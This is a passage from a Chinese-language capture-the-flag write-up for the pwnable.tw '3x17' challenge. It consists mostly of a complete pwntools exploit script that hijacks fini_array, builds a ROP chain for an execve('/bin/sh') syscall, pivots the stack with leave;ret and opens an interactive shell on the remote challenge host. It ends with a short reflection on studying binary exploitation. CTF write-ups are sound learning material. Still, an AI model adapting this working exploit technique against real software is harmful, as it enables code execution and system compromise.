ROP链写完后,后把fini_array[0]写成leave ret,fini_array[1]写成ret,便可以在结束掉loop的同时将执行流衔接到ROP链上,完成getshell。

exp

from pwn import *

#p = process("./3x17")
p = remote("chall.pwnable.tw", 10105)
context.log_level = "debug"
#gdb.attach(p, "b *0x401C29\nc\n")
#gadgets
ret = 0x0000000000401016
leave_ret = 0x0000000000401c4b
pop_rax_ret = 0x000000000041e4af
pop_rdi_ret = 0x0000000000401696
pop_rsi_ret = 0x0000000000406c30
pop_rdx_ret = 0x0000000000446e35
syscall = 0x00000000004022b4


fini_array = 0x4B40F0
_libc_csu_fini = 0x402960
main = 0x401B6D

def read_to(addr:int, content):
    p.recvuntil(b"addr:")
    p.send(str(addr).encode())
    p.recvuntil(b"data:")
    p.send(content)

def exp():
    #make loop
    read_to(fini_array, p64(_libc_csu_fini)+p64(main))

    #build ROP_chain
    binah_addr = 0x4B9300
    read_to(binah_addr, b"/bin/sh\x00")

    read_to(fini_array+0x8*2, p64(pop_rax_ret) + p64(59))
    read_to(fini_array+0x8*4, p64(pop_rdi_ret) + p64(binah_addr))
    read_to(fini_array+0x8*6, p64(pop_rsi_ret) + p64(0))
    read_to(fini_array+0x8*8, p64(pop_rdx_ret) + p64(0))
    read_to(fini_array+0x8*10, p64(syscall))

    #gdb.attach(p, "b *0x401C2E\nc\n")    
    #new stack & start rop
    read_to(fini_array, p64(leave_ret) + p64(ret))

    #getshell
    p.interactive()

if __name__ == "__main__":
    exp()

总结

其实二进制方向很多时候都是大道至简,只有真正掌握了底层原理和思考能力的人才不会在如今越来越商业化的安全行业中成为无头无脑的“做题家”。